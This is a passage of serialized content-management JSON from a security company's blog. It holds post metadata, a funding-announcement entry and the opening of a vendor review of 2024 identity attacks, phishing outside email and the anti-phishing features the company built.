0319],{"data":130320,"marks":130321,"value":62330,"nodeType":865},{},[],{"data":130323,"content":130324,"nodeType":1570},{},[130325],{"data":130326,"content":130327,"nodeType":866},{},[130328],{"data":130329,"marks":130330,"value":62340,"nodeType":865},{},[],{"data":130332,"content":130333,"nodeType":1570},{},[130334],{"data":130335,"content":130336,"nodeType":866},{},[130337],{"data":130338,"marks":130339,"value":62350,"nodeType":865},{},[],{"data":130341,"content":130342,"nodeType":866},{},[130343],{"data":130344,"marks":130345,"value":62357,"nodeType":865},{},[],{"data":130347,"content":130348,"nodeType":866},{},[130349,130352,130358],{"data":130350,"marks":130351,"value":62364,"nodeType":865},{},[],{"data":130353,"content":130354,"nodeType":889},{"uri":62367},[130355],{"data":130356,"marks":130357,"value":62372,"nodeType":865},{},[],{"data":130359,"marks":130360,"value":62376,"nodeType":865},{},[],{"data":130362,"content":130363,"nodeType":866},{},[130364,130367,130374],{"data":130365,"marks":130366,"value":62383,"nodeType":865},{},[],{"data":130368,"content":130369,"nodeType":889},{"uri":62386},[130370],{"data":130371,"marks":130372,"value":62392,"nodeType":865},{},[130373],{"type":943},{"data":130375,"marks":130376,"value":62396,"nodeType":865},{},[],{"data":130378,"content":130381,"nodeType":912},{"target":130379},{"sys":130380},{"id":62401,"type":909,"linkType":910},[],{"data":130383,"content":130384,"nodeType":866},{},[130385],{"data":130386,"marks":130387,"value":21,"nodeType":865},{},[],{"items":130389},[130390],{"sys":130391,"name":7796},{"id":7795},{"items":130393},[130394],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":130395},{"url":7804},{"__typename":1429,"sys":130397,"content":130398,"title":118081,"synopsis":118082,"hashTags":59,"publishedDate":118083,"slug":118084,"tagsCollection":130939,"authorsCollection":130945},{"id":117468},{"json":130399},{"data":130400,"content":130401,"nodeType":1382},{},[130402,130408,130414,130421,130444,130450,130455,130458,130465,130471,130477,130516,130522,130528,130531,130538,130544,130550,130556,130572,130578,130583,130590,130596,130602,130608,130613,130616,130623,130630,130636,130643,130649,130707,130713,130720,130726,130756,130763,130769,130776,130782,130789,130795,130843,130849,130852,130859,130865,130880,130910,130928,130933],{"data":130403,"content":130404,"nodeType":866},{},[130405],{"data":130406,"marks":130407,"value":117479,"nodeType":865},{},[],{"data":130409,"content":130410,"nodeType":866},{},[130411],{"data":130412,"marks":130413,"value":117486,"nodeType":865},{},[],{"data":130415,"content":130416,"nodeType":866},{},[130417],{"data":130418,"marks":130419,"value":117494,"nodeType":865},{},[130420],{"type":926},{"data":130422,"content":130423,"nodeType":866},{},[130424,130427,130434,130437,130441],{"data":130425,"marks":130426,"value":117501,"nodeType":865},{},[],{"data":130428,"content":130429,"nodeType":889},{"uri":117504},[130430],{"data":130431,"marks":130432,"value":117510,"nodeType":865},{},[130433],{"type":943},{"data":130435,"marks":130436,"value":117514,"nodeType":865},{},[],{"data":130438,"marks":130439,"value":117519,"nodeType":865},{},[130440],{"type":898},{"data":130442,"marks":130443,"value":117523,"nodeType":865},{},[],{"data":130445,"content":130446,"nodeType":866},{},[130447],{"data":130448,"marks":130449,"value":117530,"nodeType":865},{},[],{"data":130451,"content":130454,"nodeType":912},{"target":130452},{"sys":130453},{"id":117535,"type":909,"linkType":910},[],{"data":130456,"content":130457,"nodeType":972},{},[],{"data":130459,"content":130460,"nodeType":981},{},[130461],{"data":130462,"marks":130463,"value":117547,"nodeType":865},{},[130464],{"type":926},{"data":130466,"content":130467,"nodeType":866},{},[130468],{"data":130469,"marks":130470,"value":117554,"nodeType":865},{},[],{"data":130472,"content":130473,"nodeType":866},{},[130474],{"data":130475,"marks":130476,"value":117561,"nodeType":865},{},[],{"data":130478,"content":130479,"nodeType":1616},{},[130480,130489,130498,130507],{"data":130481,"content":130482,"nodeType":1570},{},[130483],{"data":130484,"content":130485,"nodeType":866},{},[130486],{"data":130487,"marks":130488,"value":117574,"nodeType":865},{},[],{"data":130490,"content":130491,"nodeType":1570},{},[130492],{"data":130493,"content":130494,"nodeType":866},{},[130495],{"data":130496,"marks":130497,"value":117584,"nodeType":865},{},[],{"data":130499,"content":130500,"nodeType":1570},{},[130501],{"data":130502,"content":130503,"nodeType":866},{},[130504],{"data":130505,"marks":130506,"value":117594,"nodeType":865},{},[],{"data":130508,"content":130509,"nodeType":1570},{},[130510],{"data":130511,"content":130512,"nodeType":866},{},[130513],{"data":130514,"marks":130515,"value":117604,"nodeType":865},{},[],{"data":130517,"content":130518,"nodeType":866},{},[130519],{"data":130520,"marks":130521,"value":117611,"nodeType":865},{},[],{"data":130523,"content":130524,"nodeType":866},{},[130525],{"data":130526,"marks":130527,"value":117618,"nodeType":865},{},[],{"data":130529,"content":130530,"nodeType":972},{},[],{"data":130532,"content":130533,"nodeType":981},{},[130534],{"data":130535,"marks":130536,"value":117629,"nodeType":865},{},[130537],{"type":926},{"data":130539,"content":130540,"nodeType":866},{},[130541],{"data":130542,"marks":130543,"value":117636,"nodeType":865},{},[],{"data":130545,"content":130546,"nodeType":866},{},[130547],{"data":130548,"marks":130549,"value":117643,"nodeType":865},{},[],{"data":130551,"content":130552,"nodeType":866},{},[130553],{"data":130554,"marks":130555,"value":117650,"nodeType":865},{},[],{"data":130557,"content":130558,"nodeType":866},{},[130559,130562,130569],{"data":130560,"marks":130561,"value":117657,"nodeType":865},{},[],{"data":130563,"content":130564,"nodeType":889},{"uri":15860},[130565],{"data":130566,"marks":130567,"value":102968,"nodeType":865},{},[130568],{"type":943},{"data":130570,"marks":130571,"value":117668,"nodeType":865},{},[],{"data":130573,"content":130574,"nodeType":866},{},[130575],{"data":130576,"marks":130577,"value":117675,"nodeType":865},{},[],{"data":130579,"content":130582,"nodeType":912},{"target":130580},{"sys":130581},{"id":117680,"type":909,"linkType":910},[],{"data":130584,"content":130585,"nodeType":981},{},[130586],{"data":130587,"marks":130588,"value":117689,"nodeType":865},{},[130589],{"type":926},{"data":130591,"content":130592,"nodeType":866},{},[130593],{"data":130594,"marks":130595,"value":117696,"nodeType":865},{},[],{"data":130597,"content":130598,"nodeType":866},{},[130599],{"data":130600,"marks":130601,"value":117703,"nodeType":865},{},[],{"data":130603,"content":130604,"nodeType":866},{},[130605],{"data":130606,"marks":130607,"value":117710,"nodeType":865},{},[],{"data":130609,"content":130612,"nodeType":912},{"target":130610},{"sys":130611},{"id":117715,"type":909,"linkType":910},[],{"data":130614,"content":130615,"nodeType":972},{},[],{"data":130617,"content":130618,"nodeType":981},{},[130619],{"data":130620,"marks":130621,"value":117727,"nodeType":865},{},[130622],{"type":926},{"data":130624,"content":130625,"nodeType":1317},{},[130626],{"data":130627,"marks":130628,"value":117735,"nodeType":865},{},[130629],{"type":926},{"data":130631,"content":130632,"nodeType":866},{},[130633],{"data":130634,"marks":130635,"value":117742,"nodeType":865},{},[],{"data":130637,"content":130638,"nodeType":1317},{},[130639],{"data":130640,"marks":130641,"value":117750,"nodeType":865},{},[130642],{"type":926},{"data":130644,"content":130645,"nodeType":866},{},[130646],{"data":130647,"marks":130648,"value":117757,"nodeType":865},{},[],{"data":130650,"content":130651,"nodeType":1616},{},[130652,130661,130670,130689,130698],{"data":130653,"content":130654,"nodeType":1570},{},[130655],{"data":130656,"content":130657,"nodeType":866},{},[130658],{"data":130659,"marks":130660,"value":117770,"nodeType":865},{},[],{"data":130662,"content":130663,"nodeType":1570},{},[130664],{"data":130665,"content":130666,"nodeType":866},{},[130667],{"data":130668,"marks":130669,"value":117780,"nodeType":865},{},[],{"data":130671,"content":130672,"nodeType":1570},{},[130673],{"data":130674,"content":130675,"nodeType":866},{},[130676,130679,130686],{"data":130677,"marks":130678,"value":113738,"nodeType":865},{},[],{"data":130680,"content":130681,"nodeType":889},{"uri":110870},[130682],{"data":130683,"marks":130684,"value":113746,"nodeType":865},{},[130685],{"type":943},{"data":130687,"marks":130688,"value":21,"nodeType":865},{},[],{"data":130690,"content":130691,"nodeType":1570},{},[130692],{"data":130693,"content":130694,"nodeType":866},{},[130695],{"data":130696,"marks":130697,"value":117809,"nodeType":865},{},[],{"data":130699,"content":130700,"nodeType":1570},{},[130701],{"data":130702,"content":130703,"nodeType":866},{},[130704],{"data":130705,"marks":130706,"value":117819,"nodeType":865},{},[],{"data":130708,"content":130709,"nodeType":866},{},[130710],{"data":130711,"marks":130712,"value":117826,"nodeType":865},{},[],{"data":130714,"content":130715,"nodeType":1317},{},[130716],{"data":130717,"marks":130718,"value":117834,"nodeType":865},{},[130719],{"type":926},{"data":130721,"content":130722,"nodeType":866},{},[130723],{"data":130724,"marks":130725,"value":117841,"nodeType":865},{},[],{"data":130727,"content":130728,"nodeType":1616},{},[130729,130738,130747],{"data":130730,"content":130731,"nodeType":1570},{},[130732],{"data":130733,"content":130734,"nodeType":866},{},[130735],{"data":130736,"marks":130737,"value":117854,"nodeType":865},{},[],{"data":130739,"content":130740,"nodeType":1570},{},[130741],{"data":130742,"content":130743,"nodeType":866},{},[130744],{"data":130745,"marks":130746,"value":117864,"nodeType":865},{},[],{"data":130748,"content":130749,"nodeType":1570},{},[130750],{"data":130751,"content":130752,"nodeType":866},{},[130753],{"data":130754,"marks":130755,"value":117874,"nodeType":865},{},[],{"data":130757,"content":130758,"nodeType":1317},{},[130759],{"data":130760,"marks":130761,"value":117882,"nodeType":865},{},[130762],{"type":926},{"data":130764,"content":130765,"nodeType":866},{},[130766],{"data":130767,"marks":130768,"value":117889,"nodeType":865},{},[],{"data":130770,"content":130771,"nodeType":1317},{},[130772],{"data":130773,"marks":130774,"value":117897,"nodeType":865},{},[130775],{"type":926},{"data":130777,"content":130778,"nodeType":866},{},[130779],{"data":130780,"marks":130781,"value":117904,"nodeType":865},{},[],{"data":130783,"content":130784,"nodeType":1317},{},[130785],{"data":130786,"marks":130787,"value":117912,"nodeType":865},{},[130788],{"type":926},{"data":130790,"content":130791,"nodeType":866},{},[130792],{"data":130793,"marks":130794,"value":117919,"nodeType":865},{},[],{"data":130796,"content":130797,"nodeType":1616},{},[130798,130807,130816,130825,130834],{"data":130799,"content":130800,"nodeType":1570},{},[130801],{"data":130802,"content":130803,"nodeType":866},{},[130804],{"data":130805,"marks":130806,"value":117932,"nodeType":865},{},[],{"data":130808,"content":130809,"nodeType":1570},{},[130810],{"data":130811,"content":130812,"nodeType":866},{},[130813],{"data":130814,"marks":130815,"value":117942,"nodeType":865},{},[],{"data":130817,"content":130818,"nodeType":1570},{},[130819],{"data":130820,"content":130821,"nodeType":866},{},[130822],{"data":130823,"marks":130824,"value":117952,"nodeType":865},{},[],{"data":130826,"content":130827,"nodeType":1570},{},[130828],{"data":130829,"content":130830,"nodeType":866},{},[130831],{"data":130832,"marks":130833,"value":117962,"nodeType":865},{},[],{"data":130835,"content":130836,"nodeType":1570},{},[130837],{"data":130838,"content":130839,"nodeType":866},{},[130840],{"data":130841,"marks":130842,"value":117972,"nodeType":865},{},[],{"data":130844,"content":130845,"nodeType":866},{},[130846],{"data":130847,"marks":130848,"value":117979,"nodeType":865},{},[],{"data":130850,"content":130851,"nodeType":972},{},[],{"data":130853,"content":130854,"nodeType":981},{},[130855],{"data":130856,"marks":130857,"value":117990,"nodeType":865},{},[130858],{"type":926},{"data":130860,"content":130861,"nodeType":866},{},[130862],{"data":130863,"marks":130864,"value":117997,"nodeType":865},{},[],{"data":130866,"content":130867,"nodeType":866},{},[130868,130871,130877],{"data":130869,"marks":130870,"value":118004,"nodeType":865},{},[],{"data":130872,"content":130873,"nodeType":889},{"uri":117504},[130874],{"data":130875,"marks":130876,"value":118011,"nodeType":865},{},[],{"data":130878,"marks":130879,"value":1615,"nodeType":865},{},[],{"data":130881,"content":130882,"nodeType":1616},{},[130883,130892,130901],{"data":130884,"content":130885,"nodeType":1570},{},[130886],{"data":130887,"content":130888,"nodeType":866},{},[130889],{"data":130890,"marks":130891,"value":118027,"nodeType":865},{},[],{"data":130893,"content":130894,"nodeType":1570},{},[130895],{"data":130896,"content":130897,"nodeType":866},{},[130898],{"data":130899,"marks":130900,"value":118037,"nodeType":865},{},[],{"data":130902,"content":130903,"nodeType":1570},{},[130904],{"data":130905,"content":130906,"nodeType":866},{},[130907],{"data":130908,"marks":130909,"value":118047,"nodeType":865},{},[],{"data":130911,"content":130912,"nodeType":866},{},[130913,130917,130924],{"data":130914,"marks":130915,"value":118055,"nodeType":865},{},[130916],{"type":926},{"data":130918,"content":130919,"nodeType":889},{"uri":16069},[130920],{"data":130921,"marks":130922,"value":118063,"nodeType":865},{},[130923],{"type":926},{"data":130925,"marks":130926,"value":118068,"nodeType":865},{},[130927],{"type":926},{"data":130929,"content":130932,"nodeType":912},{"target":130930},{"sys":130931},{"id":118073,"type":909,"linkType":910},[],{"data":130934,"content":130935,"nodeType":866},{},[130936],{"data":130937,"marks":130938,"value":21,"nodeType":865},{},[],{"items":130940},[130941,130943],{"sys":130942,"name":7796},{"id":7795},{"sys":130944,"name":342},{"id":4642},{"items":130946},[130947],{"fullName":4680,"firstName":4681,"jobTitle":4616,"profilePicture":130948},{"url":4683},"blog/scattered-spider-ttp-evolution-in-2025",{"json":130951},{"data":130952,"content":130953,"nodeType":1382},{},[130954],{"data":130955,"content":130956,"nodeType":866},{},[130957],{"data":130958,"marks":130959,"value":130960,"nodeType":865},{},[],"How the notorious Scattered Spider cyber criminal group are evolving their TTPs in 2025 to bypass security controls like MFA and take over accounts on internet applications and services. ",{"id":80584,"publishedAt":130962},"2026-08-13T09:35:46.987Z",{"items":130964},[130965,130967],{"sys":130966,"name":7796},{"id":7795},{"sys":130968,"name":342},{"id":4642},{"items":130970},[130971,130973,130975,130977,130979,130981,130983,130985,130987,130989,130991,130993,130995,130997,130999,131001,131003,131005,131007,131009,131011,131013,131015,131017],{"sys":130972,"name":279,"slug":280,"tier":31},{"id":276},{"sys":130974,"name":413,"slug":414,"tier":31},{"id":410},{"sys":130976,"name":519,"slug":520,"tier":31},{"id":516},{"sys":130978,"name":642,"slug":643,"tier":31},{"id":639},{"sys":130980,"name":342,"slug":343,"tier":31},{"id":339},{"sys":130982,"name":545,"slug":546,"tier":31},{"id":542},{"sys":130984,"name":650,"slug":651,"tier":45},{"id":647},{"sys":130986,"name":261,"slug":262,"tier":45},{"id":258},{"sys":130988,"name":466,"slug":467,"tier":45},{"id":463},{"sys":130990,"name":404,"slug":405,"tier":45},{"id":401},{"sys":130992,"name":333,"slug":334,"tier":45},{"id":330},{"sys":130994,"name":324,"slug":325,"tier":45},{"id":321},{"sys":130996,"name":607,"slug":608,"tier":45},{"id":604},{"sys":130998,"name":422,"slug":423,"tier":45},{"id":419},{"sys":131000,"name":571,"slug":572,"tier":45},{"id":568},{"sys":131002,"name":395,"slug":396,"tier":45},{"id":392},{"sys":131004,"name":484,"slug":485,"tier":45},{"id":481},{"sys":131006,"name":537,"slug":538,"tier":45},{"id":534},{"sys":131008,"name":457,"slug":458,"tier":45},{"id":454},{"sys":131010,"name":511,"slug":512,"tier":45},{"id":508},{"sys":131012,"name":502,"slug":503,"tier":45},{"id":499},{"sys":131014,"name":475,"slug":476,"tier":45},{"id":472},{"sys":131016,"name":440,"slug":441,"tier":45},{"id":437},{"sys":131018,"name":528,"slug":529,"tier":45},{"id":525},"oLIODxEHsA2m841saCx3-KU2xiG-Qo5TlaPa70w1JEg",{"id":131021,"title":127728,"authorsCollection":131022,"content":131026,"extension":228,"faqItemsCollection":131406,"faqTitle":59,"featured":6,"hashTags":59,"meta":131408,"metaTitle":131409,"ogImage":131410,"postType":127304,"publishedDate":127730,"relatedBlogPostsCollection":131411,"slug":127731,"stem":133297,"subtitle":59,"summary":133298,"synopsis":127729,"sys":133309,"tagsCollection":133311,"topicsCollection":133315,"__hash__":133355},"blog/blog/series-b-and-beyond.json",{"items":131023},[131024],{"fullName":127741,"firstName":127742,"jobTitle":127743,"socialLinks":59,"profilePicture":131025},{"url":127745},{"json":131027,"links":131385},{"data":131028,"content":131029,"nodeType":1382},{},[131030,131035,131041,131047,131064,131067,131073,131079,131100,131106,131112,131118,131121,131127,131133,131139,131145,131151,131157,131162,131165,131171,131177,131183,131189,131192,131198,131204,131210,131216,131219,131225,131266,131300,131306,131309,131315,131321,131327,131358,131374,131379],{"data":131031,"content":131034,"nodeType":912},{"target":131032},{"sys":131033},{"id":127319,"type":909,"linkType":910},[],{"data":131036,"content":131037,"nodeType":866},{},[131038],{"data":131039,"marks":131040,"value":127327,"nodeType":865},{},[],{"data":131042,"content":131043,"nodeType":866},{},[131044],{"data":131045,"marks":131046,"value":127334,"nodeType":865},{},[],{"data":131048,"content":131049,"nodeType":866},{},[131050,131053,131061],{"data":131051,"marks":131052,"value":127341,"nodeType":865},{},[],{"data":131054,"content":131055,"nodeType":889},{"uri":3488},[131056],{"data":131057,"marks":131058,"value":127350,"nodeType":865},{},[131059,131060],{"type":943},{"type":926},{"data":131062,"marks":131063,"value":127354,"nodeType":865},{},[],{"data":131065,"content":131066,"nodeType":972},{},[],{"data":131068,"content":131069,"nodeType":981},{},[131070],{"data":131071,"marks":131072,"value":127364,"nodeType":865},{},[],{"data":131074,"content":131075,"nodeType":866},{},[131076],{"data":131077,"marks":131078,"value":127371,"nodeType":865},{},[],{"data":131080,"content":131081,"nodeType":1616},{},[131082,131091],{"data":131083,"content":131084,"nodeType":1570},{},[131085],{"data":131086,"content":131087,"nodeType":866},{},[131088],{"data":131089,"marks":131090,"value":127384,"nodeType":865},{},[],{"data":131092,"content":131093,"nodeType":1570},{},[131094],{"data":131095,"content":131096,"nodeType":866},{},[131097],{"data":131098,"marks":131099,"value":127394,"nodeType":865},{},[],{"data":131101,"content":131102,"nodeType":866},{},[131103],{"data":131104,"marks":131105,"value":127401,"nodeType":865},{},[],{"data":131107,"content":131108,"nodeType":866},{},[131109],{"data":131110,"marks":131111,"value":127408,"nodeType":865},{},[],{"data":131113,"content":131114,"nodeType":866},{},[131115],{"data":131116,"marks":131117,"value":127415,"nodeType":865},{},[],{"data":131119,"content":131120,"nodeType":972},{},[],{"data":131122,"content":131123,"nodeType":981},{},[131124],{"data":131125,"marks":131126,"value":127425,"nodeType":865},{},[],{"data":131128,"content":131129,"nodeType":866},{},[131130],{"data":131131,"marks":131132,"value":127432,"nodeType":865},{},[],{"data":131134,"content":131135,"nodeType":866},{},[131136],{"data":131137,"marks":131138,"value":127439,"nodeType":865},{},[],{"data":131140,"content":131141,"nodeType":866},{},[131142],{"data":131143,"marks":131144,"value":127446,"nodeType":865},{},[],{"data":131146,"content":131147,"nodeType":866},{},[131148],{"data":131149,"marks":131150,"value":127453,"nodeType":865},{},[],{"data":131152,"content":131153,"nodeType":866},{},[131154],{"data":131155,"marks":131156,"value":127460,"nodeType":865},{},[],{"data":131158,"content":131161,"nodeType":912},{"target":131159},{"sys":131160},{"id":127465,"type":909,"linkType":910},[],{"data":131163,"content":131164,"nodeType":972},{},[],{"data":131166,"content":131167,"nodeType":981},{},[131168],{"data":131169,"marks":131170,"value":127476,"nodeType":865},{},[],{"data":131172,"content":131173,"nodeType":866},{},[131174],{"data":131175,"marks":131176,"value":127483,"nodeType":865},{},[],{"data":131178,"content":131179,"nodeType":866},{},[131180],{"data":131181,"marks":131182,"value":127490,"nodeType":865},{},[],{"data":131184,"content":131185,"nodeType":866},{},[131186],{"data":131187,"marks":131188,"value":127497,"nodeType":865},{},[],{"data":131190,"content":131191,"nodeType":972},{},[],{"data":131193,"content":131194,"nodeType":981},{},[131195],{"data":131196,"marks":131197,"value":127507,"nodeType":865},{},[],{"data":131199,"content":131200,"nodeType":866},{},[131201],{"data":131202,"marks":131203,"value":127514,"nodeType":865},{},[],{"data":131205,"content":131206,"nodeType":866},{},[131207],{"data":131208,"marks":131209,"value":127521,"nodeType":865},{},[],{"data":131211,"content":131212,"nodeType":866},{},[131213],{"data":131214,"marks":131215,"value":127528,"nodeType":865},{},[],{"data":131217,"content":131218,"nodeType":972},{},[],{"data":131220,"content":131221,"nodeType":981},{},[131222],{"data":131223,"marks":131224,"value":127538,"nodeType":865},{},[],{"data":131226,"content":131227,"nodeType":866},{},[131228,131231,131235,131238,131242,131245,131249,131252,131256,131259,131263],{"data":131229,"marks":131230,"value":127545,"nodeType":865},{},[],{"data":131232,"marks":131233,"value":127550,"nodeType":865},{},[131234],{"type":926},{"data":131236,"marks":131237,"value":127554,"nodeType":865},{},[],{"data":131239,"marks":131240,"value":127559,"nodeType":865},{},[131241],{"type":926},{"data":131243,"marks":131244,"value":4988,"nodeType":865},{},[],{"data":131246,"marks":131247,"value":127567,"nodeType":865},{},[131248],{"type":926},{"data":131250,"marks":131251,"value":127571,"nodeType":865},{},[],{"data":131253,"marks":131254,"value":127576,"nodeType":865},{},[131255],{"type":926},{"data":131257,"marks":131258,"value":4988,"nodeType":865},{},[],{"data":131260,"marks":131261,"value":127584,"nodeType":865},{},[131262],{"type":926},{"data":131264,"marks":131265,"value":127588,"nodeType":865},{},[],{"data":131267,"content":131268,"nodeType":866},{},[131269,131272,131276,131279,131283,131290,131293,131297],{"data":131270,"marks":131271,"value":127595,"nodeType":865},{},[],{"data":131273,"marks":131274,"value":127600,"nodeType":865},{},[131275],{"type":926},{"data":131277,"marks":131278,"value":127604,"nodeType":865},{},[],{"data":131280,"marks":131281,"value":127609,"nodeType":865},{},[131282],{"type":926},{"data":131284,"content":131285,"nodeType":889},{"uri":127612},[131286],{"data":131287,"marks":131288,"value":127618,"nodeType":865},{},[131289],{"type":943},{"data":131291,"marks":131292,"value":127622,"nodeType":865},{},[],{"data":131294,"marks":131295,"value":127627,"nodeType":865},{},[131296],{"type":926},{"data":131298,"marks":131299,"value":127631,"nodeType":865},{},[],{"data":131301,"content":131302,"nodeType":866},{},[131303],{"data":131304,"marks":131305,"value":127638,"nodeType":865},{},[],{"data":131307,"content":131308,"nodeType":972},{},[],{"data":131310,"content":131311,"nodeType":981},{},[131312],{"data":131313,"marks":131314,"value":13221,"nodeType":865},{},[],{"data":131316,"content":131317,"nodeType":866},{},[131318],{"data":131319,"marks":131320,"value":127654,"nodeType":865},{},[],{"data":131322,"content":131323,"nodeType":866},{},[131324],{"data":131325,"marks":131326,"value":127661,"nodeType":865},{},[],{"data":131328,"content":131329,"nodeType":866},{},[131330,131334,131342,131346,131354],{"data":131331,"marks":131332,"value":127669,"nodeType":865},{},[131333],{"type":926},{"data":131335,"content":131336,"nodeType":889},{"uri":127672},[131337],{"data":131338,"marks":131339,"value":127679,"nodeType":865},{},[131340,131341],{"type":943},{"type":926},{"data":131343,"marks":131344,"value":4988,"nodeType":865},{},[131345],{"type":926},{"data":131347,"content":131348,"nodeType":889},{"uri":127686},[131349],{"data":131350,"marks":131351,"value":127693,"nodeType":865},{},[131352,131353],{"type":943},{"type":926},{"data":131355,"marks":131356,"value":1615,"nodeType":865},{},[131357],{"type":926},{"data":131359,"content":131360,"nodeType":866},{},[131361,131364,131371],{"data":131362,"marks":131363,"value":21,"nodeType":865},{},[],{"data":131365,"content":131366,"nodeType":889},{"uri":127706},[131367],{"data":131368,"marks":131369,"value":127712,"nodeType":865},{},[131370],{"type":926},{"data":131372,"marks":131373,"value":21,"nodeType":865},{},[],{"data":131375,"content":131378,"nodeType":912},{"target":131376},{"sys":131377},{"id":127720,"type":909,"linkType":910},[],{"data":131380,"content":131381,"nodeType":866},{},[131382],{"data":131383,"marks":131384,"value":21,"nodeType":865},{},[],{"entries":131386},{"hyperlink":131387,"inline":131388,"block":131389},[],[],[131390,131398,131403],{"sys":131391,"__typename":131392,"title":131393,"youTubeUrl":131394,"imagePlaceholder":131395},{"id":127319},"ExternalVideo","Series B Announcement","https://www.youtube.com/watch?v=7We4UBSq4NE",{"url":131396,"width":65371,"height":131397},"https://images.ctfassets.net/y1cdw1ablpvd/1R9erAyDgxQY8ghSXp8WaD/93bc15863b4ce6e6abecdf22d2eeb832/Social_graphic__5_.png",630,{"sys":131399,"__typename":1414,"type":1415,"ctaText":131400,"buttonLabel":131401,"buttonColour":114626,"buttonUrl":131402},{"id":127465},"Learn about the features we shipped last year that our customers loved the most","Read the Blog","https://pushsecurity.com/blog/push-features-2024/",{"sys":131404,"__typename":1414,"type":1415,"ctaText":131405,"buttonLabel":33569,"buttonColour":1418,"buttonUrl":16069},{"id":127720},"Book a demo with our team for a guided tour of our browser-based identity threat detection and response platform",{"items":131407},[],{},"Announcing Push Security's Series B Funding",{"url":131396},{"items":131412},[131413,132597],{"__typename":1429,"sys":131414,"content":131416,"title":132583,"synopsis":132584,"hashTags":59,"publishedDate":132585,"slug":132586,"tagsCollection":132587,"authorsCollection":132593},{"id":131415},"5KqYY7p174lSpuinfTfEZU",{"json":131417},{"data":131418,"content":131419,"nodeType":1382},{},[131420,131427,131482,131489,131492,131499,131506,131539,131551,131554,131561,131572,131579,131598,131604,131624,131631,131641,131661,131681,131688,131707,131713,131733,131736,131743,131750,131757,131776,131794,131801,131821,131828,131835,131860,131867,131886,131907,131913,131920,131939,131942,131949,131966,131985,131992,132045,132052,132055,132062,132069,132088,132108,132115,132122,132129,132148,132155,132162,132167,132173,132176,132183,132190,132197,132217,132227,132246,132253,132260,132270,132277,132284,132304,132310,132313,132320,132327,132334,132405,132412,132419,132426,132434,132455,132462,132468,132479,132500,132507,132515,132535,132542,132549,132555,132558,132565],{"data":131421,"content":131422,"nodeType":866},{},[131423],{"data":131424,"marks":131425,"value":131426,"nodeType":865},{},[],"From massive breaches like the Snowflake incident to novel phishing techniques documented by Push researchers, 2024 was the year that identity attacks left their mark. Looking back over what we saw in the wild and what we found through Push’s own research, three key themes stand out:",{"data":131428,"content":131429,"nodeType":1616},{},[131430,131449,131459],{"data":131431,"content":131432,"nodeType":1570},{},[131433],{"data":131434,"content":131435,"nodeType":866},{},[131436,131440,131445],{"data":131437,"marks":131438,"value":131439,"nodeType":865},{},[],"Account takeover techniques on cloud apps are fundamentally different from traditional network-based attacks. To have the best chance of preventing account takeover, defenders need to  disrupt attacks ",{"data":131441,"marks":131442,"value":131444,"nodeType":865},{},[131443],{"type":898},"before",{"data":131446,"marks":131447,"value":131448,"nodeType":865},{},[]," they’re successful.",{"data":131450,"content":131451,"nodeType":1570},{},[131452],{"data":131453,"content":131454,"nodeType":866},{},[131455],{"data":131456,"marks":131457,"value":131458,"nodeType":865},{},[],"It’s not easy or practical to maintain 100 percent compliance on identity posture standards in a world where employees are using and signing up to apps outside of IT oversight — but it is possible to make this work a lot easier by using tools that help you scale your remediation activities.",{"data":131460,"content":131461,"nodeType":1570},{},[131462],{"data":131463,"content":131464,"nodeType":866},{},[131465,131469,131478],{"data":131466,"marks":131467,"value":131468,"nodeType":865},{},[],"Despite another year where cybersecurity spend increased (now up to almost $1,100 per user, according to ",{"data":131470,"content":131472,"nodeType":889},{"uri":131471},"https://www.forrester.com/report/2024-cybersecurity-benchmarks-global/RES181118",[131473],{"data":131474,"marks":131475,"value":131477,"nodeType":865},{},[131476],{"type":943},"Forrester",{"data":131479,"marks":131480,"value":131481,"nodeType":865},{},[],"), existing approaches are not successfully preventing account takeovers. Security teams need to be able to detect and respond to these attacks where they happen: The browser.",{"data":131483,"content":131484,"nodeType":866},{},[131485],{"data":131486,"marks":131487,"value":131488,"nodeType":865},{},[],"In this article, we’ll take a look back at how these themes influenced key features we delivered for Push customers in 2024.",{"data":131490,"content":131491,"nodeType":972},{},[],{"data":131493,"content":131494,"nodeType":981},{},[131495],{"data":131496,"marks":131497,"value":131498,"nodeType":865},{},[],"Defending against modern phishing attacks",{"data":131500,"content":131501,"nodeType":866},{},[131502],{"data":131503,"marks":131504,"value":131505,"nodeType":865},{},[],"Phishing techniques that bypass MFA are now the norm, and few organizations have successfully achieved full coverage of phishing-resistant MFA methods. ",{"data":131507,"content":131508,"nodeType":866},{},[131509,131513,131522,131526,131535],{"data":131510,"marks":131511,"value":131512,"nodeType":865},{},[],"Equally, while phishing attacks via email remain the most commonly reported vector, phishing attacks increasingly target users outside of email. For example, phishing links are often encountered through normal internet use — such as ",{"data":131514,"content":131516,"nodeType":889},{"uri":131515},"https://www.bleepingcomputer.com/news/security/hackers-use-google-search-ads-to-steal-google-ads-accounts/",[131517],{"data":131518,"marks":131519,"value":131521,"nodeType":865},{},[131520],{"type":943},"in malicious Google ads",{"data":131523,"marks":131524,"value":131525,"nodeType":865},{},[]," — and attackers frequently conduct their campaigns over IM platforms like Slack and Teams. Late last year there was ",{"data":131527,"content":131529,"nodeType":889},{"uri":131528},"https://www.linkedin.com/posts/kevin-beaumont-security_ive-been-assisting-a-few-orgs-hit-with-successful-activity-7268055739116445701-xxjZ?utm_source=share&utm_medium=member_desktop",[131530],{"data":131531,"marks":131532,"value":131534,"nodeType":865},{},[131533],{"type":943},"a rise in attackers inundating users with spam via Teams",{"data":131536,"marks":131537,"value":131538,"nodeType":865},{},[],", combined with phone scams posing as IT admins. Since anti-phishing controls are usually email-based, they fail to protect users from attacks taking place elsewhere. ",{"data":131540,"content":131541,"nodeType":866},{},[131542,131546],{"data":131543,"marks":131544,"value":131545,"nodeType":865},{},[],"At Push, we’ve built a suite of anti-phishing features over the last year that act as a defense-in-depth approach to the types of modern phishing techniques we’ve been observing in the wild. ",{"data":131547,"marks":131548,"value":131550,"nodeType":865},{},[131549],{"type":926},"Here’s what we built and why.",{"data":131552,"content":131553,"nodeType":972},{},[],{"data":131555,"content":131556,"nodeType":981},{},[131557],{"data":131558,"marks":131559,"value":131560,"nodeType":865},{},[],"Protecting passwords used for SSO",{"data":131562,"content":131563,"nodeType":1317},{},[131564,131569],{"data":131565,"marks":131566,"value":131568,"nodeType":865},{},[131567],{"type":926},"What happened?",{"data":131570,"marks":131571,"value":2688,"nodeType":865},{},[],{"data":131573,"content":131574,"nodeType":866},{},[131575],{"data":131576,"marks":131577,"value":131578,"nodeType":865},{},[],"Attackers explicitly targeted Okta, Entra, and Google Workspace accounts 